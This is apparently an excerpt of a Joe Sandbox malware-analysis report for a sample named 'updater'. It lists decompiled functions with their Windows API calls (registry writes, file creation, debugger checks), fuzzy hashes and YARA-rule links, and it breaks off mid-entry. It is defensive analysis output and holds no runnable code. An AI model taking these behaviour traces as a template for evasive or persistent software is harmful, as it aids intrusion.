Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(00000010,00000000), ref: 00BD07F4
Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BD07FF
Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BD080A
Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(00000011,00000000), ref: 00BD0812
Part of subcall function 00BD07BB: MapVirtualKeyW.USER32(00000012,00000000), ref: 00BD081A

Part of subcall function 00BCFF4C: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00BBAC6B), ref: 00BCFFA7

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00BBAD08
OleInitialize.OLE32(00000000), ref: 00BBAD85
CloseHandle.KERNEL32(00000000), ref: 00BF2F56

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 531456fb959846b2bfe23796525643ba9ed11b6cefba3d9e10d943136737a39e
Instruction ID: 2ce6f54f97c80f181624782e05892b8cc7bdeddd6c33a376a647b61eb363a009
Opcode Fuzzy Hash: 531456fb959846b2bfe23796525643ba9ed11b6cefba3d9e10d943136737a39e
Instruction Fuzzy Hash: 4181A7B09093488EC799EF39AD89B5D7EE9FB5930471087AAE41CDB272EB704484DF50

Function 00BD593C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00BD5953

Part of subcall function 00BDA39B: __NMSG_WRITE.LIBCMT ref: 00BDA3C2
Part of subcall function 00BDA39B: __NMSG_WRITE.LIBCMT ref: 00BDA3CC

__NMSG_WRITE.LIBCMT ref: 00BD595A

Part of subcall function 00BDA3F8: GetModuleFileNameW.KERNEL32(00000000,00C753BA,00000104,00000004,00000001,00BD1003), ref: 00BDA48A
Part of subcall function 00BDA3F8: ___crtMessageBoxW.LIBCMT ref: 00BDA538

Part of subcall function 00BD32CF: ___crtCorExitProcess.LIBCMT ref: 00BD32D5
Part of subcall function 00BD32CF: ExitProcess.KERNEL32 ref: 00BD32DE

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

RtlAllocateHeap.NTDLL(011B0000,00000000,00000001,?,00000004,?,?,00BD1003,?), ref: 00BD597F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: dc51abeff597bd8308f5f0501d2d1a033304541b84f8fd7db8c60753804f69fa
Instruction ID: fc2d00b7523f97fbd73de95ebc7c37ebbd8235d300a43e7da34531c2c4f878d5
Opcode Fuzzy Hash: dc51abeff597bd8308f5f0501d2d1a033304541b84f8fd7db8c60753804f69fa
Instruction Fuzzy Hash: 2701F935241B01DAD7212725ACA272EF2C9DF52771F6000EBF5189B3D2FE748D404665

Function 0126692D Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020119,?), ref: 01266973
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000100,?,00000000,00000000,00020119,?), ref: 0126699A
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00020119,?), ref: 012669BF

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 712d3af2663db280e53856c2e5cbdd465a33fd0d0744bc0e4c0c6c4841cc4760
Instruction ID: 603277dfd216af93fa7f5cbf70e3d6c0f53dcfcfc5f2764a5a0527043144e4bc
Opcode Fuzzy Hash: 712d3af2663db280e53856c2e5cbdd465a33fd0d0744bc0e4c0c6c4841cc4760
Instruction Fuzzy Hash: DB115275A1021EABCB51DAA9DCC1EEFB3BCAF58350F004565EE14E7280DB709A448BA0

Function 01266D51 Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266D96
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DAE
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,01266DD5), ref: 01266DBA

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d5c42f0c26b246d38d365139d624403435e380bbbfb6caed332970aa2aafbda6
Instruction ID: cfd7e4f7a22e87aab32c715ba1d420899a139bfb6e56592c60277ad54fd9b3e3
Opcode Fuzzy Hash: d5c42f0c26b246d38d365139d624403435e380bbbfb6caed332970aa2aafbda6
Instruction Fuzzy Hash: 2901D471620305BEE710EAA88CD2FBEB6BCDB55B10F604175BA10F21D0DAB05D404660

Function 00C192C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C192D6

Part of subcall function 00BD2F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD9C54,00000000,00BD8D5D,00BD59C3), ref: 00BD2F99
Part of subcall function 00BD2F85: GetLastError.KERNEL32(00000000,?,00BD9C54,00000000,00BD8D5D,00BD59C3), ref: 00BD2FAB

_free.LIBCMT ref: 00C192E7
_free.LIBCMT ref: 00C192F9

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: c85a103273fcf7abcdd5af30da0702354807179a5e61e9200d925057a982d127
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: 5DE0C2E160460253CA28A7386840EC3F7EC8F88311714086EB419D3242DE30E8809068

Function 00BB5E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00BEE234

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: e884ee528db88e81155c0b0c83b976a5d6e7a51ac1469ff895babc6121726da2
Instruction ID: 42bf8c9cbb6bebd5d4e9f48950e972b6db2d42db380c44a45643dcd3e4518186
Opcode Fuzzy Hash: e884ee528db88e81155c0b0c83b976a5d6e7a51ac1469ff895babc6121726da2
Instruction Fuzzy Hash: 6B323770508241DFDB24DF14C494BAABBE1FF44300F1489ADE88A9B362D7B5EC85DB82

Function 00BC48B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00BC48FA

Strings

EA06, xrefs: 00C008A1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 2b6f00dcf397450a1bb5abf78c7ceda6d643202a830fde692e6e63a27faa0b4b
Instruction ID: 1aebeda4ce3a354c0d85eb757316c90ea1ecd8d7ecb2329218bc2e4d1a540890
Opcode Fuzzy Hash: 2b6f00dcf397450a1bb5abf78c7ceda6d643202a830fde692e6e63a27faa0b4b
Instruction Fuzzy Hash: 35414921A041685FDF219B5488A1FBF7BE5DB55310F6980F9E882A72C6D7708F84C3A1

Function 01269FED Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExA.KERNELBASE(C:\,?,?,?), ref: 0126A00B

Strings

C:\, xrefs: 01269FFF

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: DiskFreeSpace
String ID: C:\
API String ID: 1705453755-3404278061
Opcode ID: 255d8b5c7ab67848bdb327736a90a3fa202294386867cf7c6859e69750289087
Instruction ID: 05d1d3ba8f204d24a17a6aaf7edbe1bc6754812a33f76d94510b6eb6017caba7
Opcode Fuzzy Hash: 255d8b5c7ab67848bdb327736a90a3fa202294386867cf7c6859e69750289087
Instruction Fuzzy Hash: 2DE0BF75214302ABD311DA58DC81F6B73ECAB88300F444A25FA95D72D0EB31EA588B96

Function 00C16135 Relevance: 3.1, APIs: 2, Instructions: 142COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00C1614E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: 8afd598190624575c37d255722af2f3f0e29cc69a49a30c2bacb376a63a8a850
Instruction ID: 42cf5130975a40e5c30986d4382f64803f6aef6efcbd93f4fcb2c6fd82437544
Opcode Fuzzy Hash: 8afd598190624575c37d255722af2f3f0e29cc69a49a30c2bacb376a63a8a850
Instruction Fuzzy Hash: 0941C676600209AFDB11DF68C8819EEB3F8FF55350B20857EE516D7241EB309E84DB50

Function 00C17D6E Relevance: 3.1, APIs: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C17E96

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: e6570009d26f5f2b7e056b9b91760ffd3361e735dd7fef6d61d65b367a300796
Instruction ID: 1fa745e7d9a58da71ff25dbcf0e9cb771901e272eea41f1b3a33197bae0f1161
Opcode Fuzzy Hash: e6570009d26f5f2b7e056b9b91760ffd3361e735dd7fef6d61d65b367a300796
Instruction Fuzzy Hash: 5D4196725082099FC710EFA89981AFEF7F8EF1A340B24469DE15597282EB719D41E760

Function 01268D05 Relevance: 3.1, APIs: 2, Instructions: 94registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,?,?,00000000,01268E0A), ref: 01268D7F
RegCreateKeyExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,01268E0A), ref: 01268DB3

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: ecb6cd86ab8197f77af91cc66442f739e39ac6d991752ed4325bd237cd1cbf87
Instruction ID: 62b492587e29659304d3db0a8b4a09268b24adca609daaaa39701bc896677180
Opcode Fuzzy Hash: ecb6cd86ab8197f77af91cc66442f739e39ac6d991752ed4325bd237cd1cbf87
Instruction Fuzzy Hash: 26316D71A50309BFEB51DAB9CC90BEEB7BCEF28300F5484A5E950E3285DB749A858750

Function 00BC5F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00BC5FEF

Part of subcall function 00BD359C: __lock.LIBCMT ref: 00BD35A2
Part of subcall function 00BD359C: DecodePointer.KERNEL32(00000001,?,00BC6004,00C08892), ref: 00BD35AE
Part of subcall function 00BD359C: EncodePointer.KERNEL32(?,?,00BC6004,00C08892), ref: 00BD35B9

Part of subcall function 00BC5F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00BC5F18
Part of subcall function 00BC5F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00BC5F2D

Part of subcall function 00BC5240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BC526C
Part of subcall function 00BC5240: IsDebuggerPresent.KERNEL32 ref: 00BC527E
Part of subcall function 00BC5240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BC52E6
Part of subcall function 00BC5240: SetCurrentDirectoryW.KERNEL32(?), ref: 00BC5366

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00BC602F

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 469c6d4bab8c87d490114c57c3fa3379f4edfae8ef8d5e8e65b23dd3f906c434
Instruction ID: ffb4887148c44bd8a94c421065d24e802b97576fd14ea1ebde4c4165e4497c23
Opcode Fuzzy Hash: 469c6d4bab8c87d490114c57c3fa3379f4edfae8ef8d5e8e65b23dd3f906c434
Instruction Fuzzy Hash: F01181714083059BC310DF64EC45B5EBBE8FF94710F008A5EF158872B2DBB09584CB92

Function 00BC42F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00BC3E72,?,?,?,00000000), ref: 00BC4327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00BC3E72,?,?,?,00000000), ref: 00C00717

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e3d8068195d54a125ee8d75b4ff57d4838e9ffdc319ae675c59abcd72c7a425d
Instruction ID: bf2dd1bdc7a557da8b26a5f7558eb262a25b2b15203adcc9033a4c63ef037f5f
Opcode Fuzzy Hash: e3d8068195d54a125ee8d75b4ff57d4838e9ffdc319ae675c59abcd72c7a425d
Instruction Fuzzy Hash: A2019270284349BEF3200E24CC9AF667ADCEB41768F20C359FAE46A1E0C7B55D45CB18

Function 00BD0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD593C: __FF_MSGBANNER.LIBCMT ref: 00BD5953
Part of subcall function 00BD593C: __NMSG_WRITE.LIBCMT ref: 00BD595A
Part of subcall function 00BD593C: RtlAllocateHeap.NTDLL(011B0000,00000000,00000001,?,00000004,?,?,00BD1003,?), ref: 00BD597F

std::exception::exception.LIBCMT ref: 00BD101C
__CxxThrowException@8.LIBCMT ref: 00BD1031

Part of subcall function 00BD87CB: RaiseException.KERNEL32(?,?,?,00C6CAF8,?,?,?,?,?,00BD1036,?,00C6CAF8,?,00000001), ref: 00BD8820

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 1214af620e89ece4b4b9844ce54406e1159bd60e563f54b82ef403742adfda7a
Instruction ID: 993fc2033d195dad7eb81a0fca88d6085c53a6435f98d69593c5c0acb579c245
Opcode Fuzzy Hash: 1214af620e89ece4b4b9844ce54406e1159bd60e563f54b82ef403742adfda7a
Instruction Fuzzy Hash: F1F0817560421DB6DB20BA98E815A9EFBECEF01711F2004A7F91492391FFB18A80C2A1

Function 00BD581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BD584C
__lock_file.LIBCMT ref: 00BD586D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: cb2ffbcb38fc619b9f0ca630f34a5d9b629e1b4afa7b2cc0f87991498dba2524
Instruction ID: 58c43cc5c9975be21fda6f259cea7613f2fb165df2f4c86288cadf7b331bafda
Opcode Fuzzy Hash: cb2ffbcb38fc619b9f0ca630f34a5d9b629e1b4afa7b2cc0f87991498dba2524
Instruction Fuzzy Hash: 8C014871800B49EBCF21AF658C0199EFBE1AF40761F144197B824563A1F7328611EF51

Function 00BD55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

__lock_file.LIBCMT ref: 00BD560B

Part of subcall function 00BD6E3E: __lock.LIBCMT ref: 00BD6E61

__fclose_nolock.LIBCMT ref: 00BD5616

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 2c452cf1babec1b2904a4e15da1cac731b7ee1629398bd85512a2a6cca3c37dc
Instruction ID: 37314be67f60ea27591cb19f7de88d2e7d2efbba445ebaa17d162eee64c95146
Opcode Fuzzy Hash: 2c452cf1babec1b2904a4e15da1cac731b7ee1629398bd85512a2a6cca3c37dc
Instruction Fuzzy Hash: 86F09671802B059AD7316B659C0176EE7D15F51335F1541CBA464AB3C1EB7C89019B51

Function 00BD5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00BD5EB4
__ftell_nolock.LIBCMT ref: 00BD5EBF

Part of subcall function 00BD8D58: __getptd_noexit.LIBCMT ref: 00BD8D58

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 784ee282d6e4a99595fac554c90964a640d72744d98095a88d8b288ac3b9f0e5
Instruction ID: fda33869bb314fab75aaf2fc12b1f6fbe750ebe128bd333236a5e5449da32c9a
Opcode Fuzzy Hash: 784ee282d6e4a99595fac554c90964a640d72744d98095a88d8b288ac3b9f0e5
Instruction Fuzzy Hash: 4FF0A071911A15ABDB20BB74884276EF7E06F01332F2142C7B024AB3C2EF788A429A51

Function 01266F62 Relevance: 3.0, APIs: 2, Instructions: 24fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,01266FFC), ref: 01266FDB
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 01266FE1

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CloseFileHandleRead
String ID:
API String ID: 2331702139-0
Opcode ID: 2449ad3d1df805c9946fd30d8122ddadbac9197bb10156aa6a196c44e3c428b7
Instruction ID: bb4de41cb6e5cd4f0e48dfd56049b926111078b0d128bfa91b5a6cb45368cceb
Opcode Fuzzy Hash: 2449ad3d1df805c9946fd30d8122ddadbac9197bb10156aa6a196c44e3c428b7
Instruction Fuzzy Hash: 16E04F75924205EFE740EFA4DCC1EBDB3ECEB48310F604469B400E6144DA7099408B20

Function 012668F9 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,012690CD,00000000,01269234,?,?,00000000,00000000), ref: 01266905
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,?,?,012690CD,00000000,01269234,?,?,00000000,00000000), ref: 01266922

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2322c5053fb42436831286030d8023206803bd5b9f693278f3b2b0df1fe8d399
Instruction ID: 751297b567a8d0f33e5db395ffd794eaa2d7654baf4c19e5a23cbff0fcee9976
Opcode Fuzzy Hash: 2322c5053fb42436831286030d8023206803bd5b9f693278f3b2b0df1fe8d399
Instruction Fuzzy Hash: A4D092C1A326321A9F9171BD08C9AAB158C5E286E0F141611FE25E71C1DA698C9201A0

Function 01269F65 Relevance: 3.0, APIs: 2, Instructions: 5COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,0126A2C5,00000000,0126A2E0,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 01269F67
